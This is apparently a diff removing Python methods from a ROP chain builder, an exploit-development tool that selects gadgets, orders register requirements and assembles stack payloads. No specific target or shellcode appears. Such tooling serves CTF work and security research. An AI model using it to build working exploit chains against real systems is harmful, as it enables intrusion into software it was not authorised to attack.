- # clobbering targets it requires, as the builder will satisfy
- # them afterward.
- for x in gadget.requirements:
- graph.add(x, r)
-
- # Treat gadget's load immediates as pseudo-requirements for
- # the sake of target ordering, following the same logic
- # as above.
- for x in gadget.imms:
- graph.add(x, r)
-
- # Mark node as visited
- seen.add((r, v))
- self.__discover_requirements(seen, graph, gadget)
-
- def __get_gadget(self, target, sets):
- """
- Get context-specific gadget.
-
- target (str): Either "ret", "syscall", or the name of a register we
- would like to modify.
-
- sets (dict{str:int}): The set of other register requirements we are
- trying to fulfill in parallel. Values may affect the gadget we decide
- to use.
- """
- # First, consider user-provided hints before automatically locating
- # gadgets.
- for hint in self.__get_hints():
- # Setup additional requirements based on hint's register moves.
- # If a mov target is in sets, require to set the src to the 'sets'
- # value.
- addl_reqs = { src:sets[dst] for dst, src in hint.movs.items() if dst in sets }
- hint = hint.with_requirements(addl_reqs)
-
- # Pops will be accounted for by the chain builder.
- # Immediates will be handled by gadget ordering in chain builder.
- # Writes are a non-issue here.
-
- if hint.syscall:
- # Only consider syscalls if the target is syscall.
- if target == "syscall":
- return hint
- elif target in hint.imms:
- if hint.imms[target] == sets[target]:
- return hint
- elif target in hint.pops:
- return hint
- elif target in hint.movs:
- return hint
-
- # Automatically locate simple gadgets
- if target == "ret":
- return GadHint(self.search_gadget(arch.ret))
-
- if target == "syscall":
- insns = [arch.syscall, arch.ret] if self.safe_syscalls else [arch.syscall]
- return GadHint(self.search_gadget(*insns), syscall=True)
-
- # target == register
- insns = [ i.format(target) for i in arch.popgad ]
- return GadHint(self.search_gadget(*insns), pops=[target])
-
- def __get_clean(self, size):
- """
- Get a stack cleaning gadget that moves sp by _at least_ size.
-
- size (int): Minimum stack pointer move.
- """
- # spm values of zero (the default) can't be trusted, as in this case
- # the user likely hasn't annotated the GadHint properly. Returning a
- # larger move than requested is fine, since the chain builder can insert
- # junk to be popped.
- for hint in self.__get_hints():
- if hint.spm >= size and hint.spm > 0:
- return hint
-
- results = self.search_gadgets(*arch.cleangad)
- table = { int(g.asm[0].group(1), 0): g for g in results }
- sizes = sorted([ x for x in table.keys() if x >= size ])
-
- if len(sizes) > 0:
- return GadHint(table[sizes[0]], spm=sizes[0])
-
- raise LookupError(
- f"ROP: Need to define a stack move gadget of at least {size}")
-
- def __get_write(self, dst, src):
- """
- Get a memory write gadget, injected with requirements for user data.
-
- dst (int): The intended memory write location.
- src (int): The intended value to write.
- """
- # If any exist, take the first write provided by user hints, assuming
- # the user's intent to specifically use _this_ write. Follow-on gadgets
- # to setup the dst and src registers must be findable.
- for hint in self.__get_hints():
- if hint.writes:
- d, s = list(hint.writes.items())[0]
- return hint.with_requirements({d:dst, s:src})
-
- # Only take an automatic write gadget if we can prove up front that its
- # requirements can be met, otherwise move on. A later search result may
- # pass the test.
- results = self.search_gadgets(*arch.writegad)
-
- for gad in results:
- d = gad.asm[0].group("dst")
- s = gad.asm[0].group("src")
-
- try:
- # Assert requirements are met.
- gadget = GadHint(gad, writes={d: s}, requirements={d:dst, s:src})
- self.__discover_requirements(set(), TopologicalSorter(), gadget)
- return gadget
- except:
- pass
-
- raise LookupError("ROP: Need to define gadgets for memory write / deps")
-
- def __build_chain(self, gadget, sets):
- """
- Generate ROP chain data for a given gadget.
-
- This function recursively builds a ROP chain for the given gadget and
- its requirements, returning the result as a Payload.
-
- gadget (GadHint): Current gadget to process.
-
- sets (dict{str:int}): The set of other register requirements we are
- trying to fulfill in parallel.
- """
- # Form a to-do-list of registers from our immediate requirements,
- # attempting to order them such that we avoid overwriting/conflicting
- # values. This may not be possible, in which case graph.static_order()
- # will raise an exception.
- reqs = gadget.requirements
- graph = TopologicalSorter({ r:set() for r in reqs })
- self.__discover_requirements(set(), graph, gadget)
- to_do_list = [ x for x in graph.static_order() if x in reqs ]
-
- chain = Payload()
-
- # Start chain by satisfying to-do-list requirements.
- if len(to_do_list) > 0:
- chain.requirements = Payload()
-
- while len(to_do_list) > 0:
- r = to_do_list[0]
- g = self.__get_gadget(r, reqs)
- c = self.__build_chain(g, reqs)
- chain.requirements[f"{r}_{reqs[r]}"] = c
-
- # This gadget may satisfy multiple items in the to-do-list.
- # Specifically, all of its pop and mov targets, and any load
- # immediates that match our requirements. Non-matching
- # immediates will be handled by a later gadget.
- imms = g.imms.keys() & reqs.keys()
- imms = [ x for x in imms if g.imms[x] == reqs[x] ]
- done = g.pops + list(g.movs) + imms
- to_do_list = [ x for x in to_do_list if x not in done ]
-
- # Append chain data to execute this gadget, but respect offset == 0
- # as a way to disable this gadget (perform a NULL gadget).
- if gadget.offset != 0:
- # Stack alignment if required.
- if gadget.align:
- ret = self.__get_gadget("ret", {})
- chain.alignment = padalign(0, itob(ret))
-
- # "Return address" entry into this gadget.
- chain.gadget = gadget.offset
-
- # The gadget's "inner stack data" will be values to be popped and
- # additional junk data to be deallocated by the gadget itself.
- if gadget.pops or gadget.spm > 0:
- chain.inner = Payload()
- chain.inner(*[ sets.get(p, _POP_MAGIC) for p in gadget.pops ])
- if gadget.spm > 0:
- chain.inner.pad = padlen(gadget.spm, _SPM_MAGIC)
-
- # The gadget's "outer stack data" will be the additional values
- # explicitly specified by the gadget. Append a separate gadget
- # to clean up these values.
- if gadget.stack:
- size = len(gadget.stack) * arch.wordsize
-
- if self.clean_stack:
- clean = self.__get_clean(size)
- chain.cleanup = clean.offset
- pad = padlen(clean.spm, _SPM_MAGIC)
- else:
- chain.cleanup = _ERROR_MAGIC
- pad = None
-
- chain.outer = Payload()
- chain.outer(*gadget.stack)
- if pad: chain.outer.pad = pad
-
- return chain